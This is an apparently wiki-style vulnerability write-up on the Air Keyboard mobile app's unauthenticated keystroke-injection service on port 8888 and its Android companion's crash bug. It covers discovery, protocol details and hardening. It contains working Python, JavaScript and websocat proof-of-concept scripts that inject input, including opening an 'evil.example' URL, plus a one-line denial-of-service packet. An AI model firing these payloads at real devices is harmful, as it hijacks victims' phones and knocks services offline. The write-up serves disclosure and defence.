Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
TL;DR
The iOS version of the commercial “Air Keyboard” application (App Store ID 6463187929) exposes a local-network service that accepts keystroke frames without any authentication or origin verification. Depending on the version installed the service is either:
- ≤ 1.0.4 – raw TCP listener on port 8888 that expects a 2-byte length header followed by a device-id and the ASCII payload.[3]
- ≥ 1.0.5 (App Store release dated 2025-03-07) – WebSocket listener on the same port (8888) that parses JSON keys such as
{"type":1,"text":"…"}.[1]
Any device on the same Wi-Fi / subnet can therefore inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking.
A companion Android build listens on port 55535. It performs a weak AES-ECB handshake but crafted garbage still causes an unhandled exception inside OpenSSL, crashing the background service (DoS).[3]
As of 2026-07-10, Apple’s App Store metadata still reports version 1.0.5 as the current release, so the vulnerable WebSocket-based design should still be treated as reachable in the wild unless you verify the installed build yourself.[2]
1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
On Android handsets you can identify the responsible package locally:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
On jailbroken iOS you can do something similar with lsof -i -nP | grep LISTEN | grep 8888.
1.1 Static triage before touching the network
If you have the IPA, confirm that the app is allowed to talk to the LAN and grep for protocol markers before you start active probing:
# Dump LAN-related plist keys
unzip -p Air-Keyboard.ipa "Payload/*.app/Info.plist" \
| plutil -convert xml1 -o - - \
| egrep "NSLocalNetworkUsageDescription|NSBonjourServices"
# Hunt for hard-coded port/protocol markers in the app payload
find Payload -type f -print0 \
| xargs -0 strings -a 2>/dev/null \
| egrep "ws://|selectionStart|selectionEnd|shiftKey|\b8888\b"
Since iOS 14+ the user must approve Local Network access, but that prompt only controls visibility/reachability of the LAN API surface — it does not authenticate peers on the subnet. Once access is granted, any host on the same network can still talk to the listener unless the app implements its own pairing or cryptographic checks.
2. Protocol Details (iOS)
2.1 Legacy (≤ 1.0.4) – custom binary frames
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
The declared length includes the device_id byte but not the two-byte header itself.
2.2 Current (≥ 1.0.5) – JSON over WebSocket
Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged.[1] A minimal keystroke looks like:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
No handshake, token or signature is required – the first JSON object already triggers the UI event.[1]
2.3 Cross-origin / browser-delivered abuse
Because the WebSocket listener accepts upgrades from any client and does not validate the Origin header, you do not strictly need a custom native exploit once you can run JavaScript in a context that is allowed to reach ws://<victim-ip>:8888 (for example: an HTTP origin on the same LAN, an embedded WebView, or a browser extension). A minimal proof-of-concept is:
<script>
const ws = new WebSocket("ws://192.168.1.50:8888");
ws.onopen = () => ws.send(JSON.stringify({
type: 1,
text: "https://evil.example\n",
mode: 0,
shiftKey: false,
selectionStart: 0,
selectionEnd: 0
}));
</script>
That turns the issue into a useful browser-to-LAN pivot wherever the attacking context can already reach RFC1918 targets. For the generic cross-origin angle, see WebSocket attacks.
3. Exploitation PoC
3.1 Targeting ≤ 1.0.4 (raw TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Targeting ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
For quick manual testing you can also skip Python entirely:
printf %s '{"type":1,"text":"https://evil.example\n","mode":0,"shiftKey":false,"selectionStart":0,"selectionEnd":0}' \
| websocat -1 ws://192.168.1.50:8888
Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.[1]
4. Android Companion – Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a hard-coded AES-128-ECB key followed by a random nonce. Parsing errors bubble up to AES_decrypt() and are not caught, terminating the listener thread. A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.[3]
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Related Apps – A Recurring Anti-Pattern
Air Keyboard is not an isolated case. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:[4]
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 allow unauthenticated command execution and plain-text key-logging.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 unauthenticated RCE & traffic snooping.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 default-no-password, weak PIN brute-force and clear-text leakage.
These cases highlight a systemic neglect of network-facing attack surfaces on mobile apps.
6. Root Causes
- No origin / integrity checks on incoming frames (iOS).
- Cryptographic misuse (static key, ECB, missing length validation) and lack of exception handling (Android).
- User-granted Local-Network entitlement ≠ security – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication.
7. Hardening & Defensive Measures
Developer recommendations:
- Bind the listener to
127.0.0.1and tunnel over mTLS or Noise XX if remote control is needed. - Derive per-device secrets during onboarding (e.g., QR code or Pairing PIN) and enforce mutual authentication before processing input.
- Adopt Apple Network Framework with NWListener + TLS instead of raw sockets.
- Implement length-prefix sanity checks and structured exception handling when decrypting or decoding frames.
Blue-/Red-Team quick wins:
- Network hunting:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16or Wireshark filtertcp.port == 8888. - Runtime inspection: Frida script hooking
socket()/NWConnectionto list unexpected listeners. - iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report) highlights apps that contact LAN addresses – useful for spotting rogue services.
- Mobile EDRs can add simple Yara-L rules for the JSON keys
"selectionStart","selectionEnd"inside clear-text TCP payloads on port 8888.
Detection Cheat-Sheet (Pentesters)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
References
- [1] Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection
- [2] Apple App Store – Air-Keyboard (current metadata / version history)
- [3] Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched - Mobile Hacker
- [4] CyRC Vulnerability Advisory: Remote code execution vulnerabilities in mouse and keyboard apps - Black Duck